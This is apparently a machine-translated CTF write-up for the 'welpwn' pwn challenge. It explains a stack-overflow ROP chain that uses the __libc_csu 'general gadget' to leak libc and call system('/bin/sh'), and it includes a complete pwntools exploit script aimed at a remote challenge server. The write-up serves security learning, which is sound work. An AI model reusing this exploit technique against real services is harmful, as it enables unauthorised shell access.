Attack and defense world welpwn general gardet utilization

Posted by ljschrenk on Mon, 07 Mar 2022 22:19:25 +0100

welpwn

The topic is attacking and defending the world.

Check the flow protection program first

It's like a stack overflow, but there's no overflow.

Then look at the echo function

A little reverse, we can find that there is an array inside eval, which puts the first 16 of the previously read 0x400 bytes into s2. But it was launched when it met 0

However, in a 64 bit system, the occurrence of address 0 cannot be avoided. Therefore, we can only control the first address entered. Because the first address in the small end method is the address in front and 0 in the back, it can be read in. It feels a bit like the idea of stack migration here. Fortunately, there are other methods for this problem. It is not so complicated as stack migration.

It is observed that echo is called in main. The content we input for the first time is actually stored in the stack frame of main, and there is also a copy. So is it possible for us to go back to the stack frame of the previous function? However, in main, we entered padding with a length of 24 at the beginning, so we need to skip this part.

It is easy to think of using a generic gardet to find a gardet (24 + p64 (the function itself)) that can produce more than four pops in gardet, but there is also a pop that happens to be four,

Well, actually, he seems to be general gardet

OK, let's remove the a input at the beginning through these four pop s. Next, you can perform a general rop, first disclose the libc base address, and then pass in the process of system

Here I read the online wp and saw that it uses the general gardet method. I just reviewed the general gardet I haven't used for a long time. Here is the principle of the source code

We first enter the address 0x40082a, and then ret to 400810. We can see that several parameters of the previous pop are passed back to the three important registers of RDX, RSI and EDI. You can basically control the parameters of all functions. After that, another call command just arrived at the address we wanted to go. It seems to be prepared for hackers. Pay attention to the following rules when entering parameters.

This is for the call function (0x400819) and register value. You can see CTF all in one

OK, next, construct payload1 and disclose the write address

payload='a'*(16+8)+p64(pop_4_ret)+p64(pop_6_ret)+p64(0)+p64(1)+p64(write_got)+p64(0x8)+p64(write_got)+p64(1)+p64(part2)
payload+='aaaaaaaa'+'bbbbbbbb'+'cccccccc'+'dddddddd'+'eeeeeeee'+'ffffffff'+'gggggggg'+p64(main_addr)
# The last line + = is because the 0x400819call in the general gardet above is used up. t he will pop a lump of things. These things must be removed before ret ting to the correct address
 Note that when you call a function here write_got!the reason being that call instead of ret,After binding write_got Stored in the table is write Your real address,If write write_plt No call The role of.

After getting the write address, libcSearcher looks for it and finds it.

After that, find the initial address, find the offset and send it to the system. I won't repeat it

exp

from pwn import *
from LibcSearcher import *
# io=process('./welpwn')
io=remote('111.200.241.244',49896)
context.log_level='debug'
elf=ELF('./welpwn')


puts_addr=elf.plt['puts']
write_got=elf.got['write']
write_plt=elf.plt['write']
printf_got=elf.got['printf']

pop_rdi_ret = 0x00000000004008a3
pop_4_ret=0x000000000040089c
pop_6_ret=0x40089A
part2=0x400880
main_addr=0x4007CD



io.recvline()

# gdb.attach(io,"b *0x4007CB")

payload='a'*(16+8)+p64(pop_4_ret)+p64(pop_6_ret)+p64(0)+p64(1)+p64(write_got)+p64(0x8)+p64(write_got)+p64(1)+p64(part2)
payload+='aaaaaaaa'+'bbbbbbbb'+'cccccccc'+'dddddddd'+'eeeeeeee'+'ffffffff'+'gggggggg'+p64(main_addr)


io.sendline(payload)
write_addr = u64(io.recv(8))
libc=LibcSearcher('write',write_addr)
write_bias=libc.dump('write')
libc_base=write_addr-write_bias
print hex(write_addr)
system_addr=libc_base+libc.dump('system')
str_bin_sh = libc_base+libc.dump("str_bin_sh")

io.recvline()

payload='a'*(16+8)+p64(pop_4_ret)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)



# gdb.attach(io,"b *0x4007CB")

io.sendline(payload)


io.interactive()

The main lesson of this question is that it calls the internal function. Coincidentally, the stack frame of this function is just small. It can go back to the stack frame of the previous function, and then rop in the stack frame of the previous function. It is relatively innovative. And it's just like reviewing the usage of general gardet.

Topics: pwn